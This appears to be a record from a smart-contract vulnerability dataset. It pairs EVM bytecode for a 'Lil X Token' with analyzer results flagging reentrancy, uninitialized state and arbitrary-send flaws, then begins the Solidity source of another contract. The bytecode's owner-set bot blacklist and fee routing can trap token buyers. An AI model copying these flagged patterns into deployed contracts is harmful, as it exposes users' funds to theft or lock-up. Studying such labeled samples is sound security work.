51a565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612615565b90505b919050565b610d0b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4c494c0000000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fc565b8484611bfb565b6001905092915050565b6040518060400160405280600381526020017f4c494c000000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fc565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d81612699565b50565b6111186119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a04565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550678ac7230489e800006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174e57600080fd5b505af1158015611762573d6000803e3d6000fd5b505050506040513d602081101561177857600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600b81526020017f4c696c205820546f6b656e00000000000000000000000000000000000000000081525081565b6117ce6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611933606461192583683635c9adc5dea0000061298390919063ffffffff16565b612a0990919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea56022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f396025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e586023913960400191505060405180910390fd5b60008111611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f106029913960400191505060405180910390fd5b611d68610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd65750611da6610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239757601360179054906101000a900460ff161561203c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb25750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203b57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f526119fc565b73ffffffffffffffffffffffffffffffffffffffff161480611fc85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb06119fc565b73ffffffffffffffffffffffffffffffffffffffff16145b61203a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212c5760145481111561207e57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121225750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212b57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122455750601360179054906101000a900460ff165b156122dd5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229557600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e830610c18565b9050601360159054906101000a900460ff161580156123555750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236d5750601360169054906101000a900460ff165b156123955761237b81612699565b60004790506000811115612393576123924761251a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244857600090505b61245484848484612a53565b50505050565b6000838311158290612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cc5780820151818401526020810190506124b1565b50505050905090810190601f1680156124f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256a600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612595573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e6600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612611573d6000803e3d6000fd5b5050565b6000600a54821115612672576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7b602a913960400191505060405180910390fd5b600061267c612caa565b90506126918184612a0990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126ce57600080fd5b506040519080825280602002602001820160405280156126fd5781602001602082028036833780820191505090505b509050308160008151811061270e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b057600080fd5b505afa1580156127c4573d6000803e3d6000fd5b505050506040513d60208110156127da57600080fd5b8101908080519060200190929190505050816001815181106127f857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061285f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a04565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612923578082015181840152602081019050612908565b505050509050019650505050505050600060405180830381600087803b15801561294c57600080fd5b505af1158015612960573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129965760009050612a03565b60008284029050828482816129a757fe5b04146129fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec76021913960400191505060405180910390fd5b809150505b92915050565b6000612a4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd5565b905092915050565b80612a6157612a60612d9b565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b045750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1957612b14848484612dde565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd157612bcc84848461303e565b612c95565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c735750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8857612c8384848461329e565b612c94565b612c93848484613593565b5b5b5b80612ca457612ca361375e565b5b50505050565b6000806000612cb7613772565b91509150612cce8183612a0990919063ffffffff16565b9250505090565b60008083118290612d81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d46578082015181840152602081019050612d2b565b50505050905090810190601f168015612d735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8d57fe5b049050809150509392505050565b6000600c54148015612daf57506000600d54145b15612db957612ddc565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df087613a1f565b955095509550955095509550612e4e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc481613b59565b612fce8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305087613a1f565b9550955095509550955095506130ae86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322481613b59565b61322e8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b087613a1f565b95509550955095509550955061330e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351981613b59565b6135238483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a587613a1f565b95509550955095509550955061360386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e481613b59565b6136ee8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d4578260026000600984815481106137ac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613893575081600360006009848154811061382b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b157600a54683635c9adc5dea0000094509450505050613a1b565b61393a60026000600984815481106138c557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8790919063ffffffff16565b92506139c5600360006009848154811061395057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8790919063ffffffff16565b9150808060010191505061378d565b506139f3683635c9adc5dea00000600a54612a0990919063ffffffff16565b821015613a1257600a54683635c9adc5dea00000935093505050613a1b565b81819350935050505b9091565b6000806000806000806000806000613a3c8a600c54600d54613d38565b9250925092506000613a4c612caa565b90506000806000613a5f8e878787613dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613ac983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245a565b905092915050565b600080828401905083811015613b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b63612caa565b90506000613b7a828461298390919063ffffffff16565b9050613bce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cf957613cb583600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1382600a54613a8790919063ffffffff16565b600a81905550613d2e81600b54613ad190919063ffffffff16565b600b819055505050565b600080600080613d646064613d56888a61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613d8e6064613d80888b61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613db782613da9858c613a8790919063ffffffff16565b613a8790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de7858961298390919063ffffffff16565b90506000613dfe868961298390919063ffffffff16565b90506000613e15878961298390919063ffffffff16565b90506000613e3e82613e308587613a8790919063ffffffff16565b613a8790919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207966cf1aa764b1aae835800dd829e3b2e34dcac8ab4155bef174cbb3ed3d5ace64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,213 |
0x28b910144864dbB71131221e2F08549724Da4064
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Router01 {
function WETH() external pure returns (address);
function pairFor(address tokenA, address tokenB)
external
view
returns (address pair);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
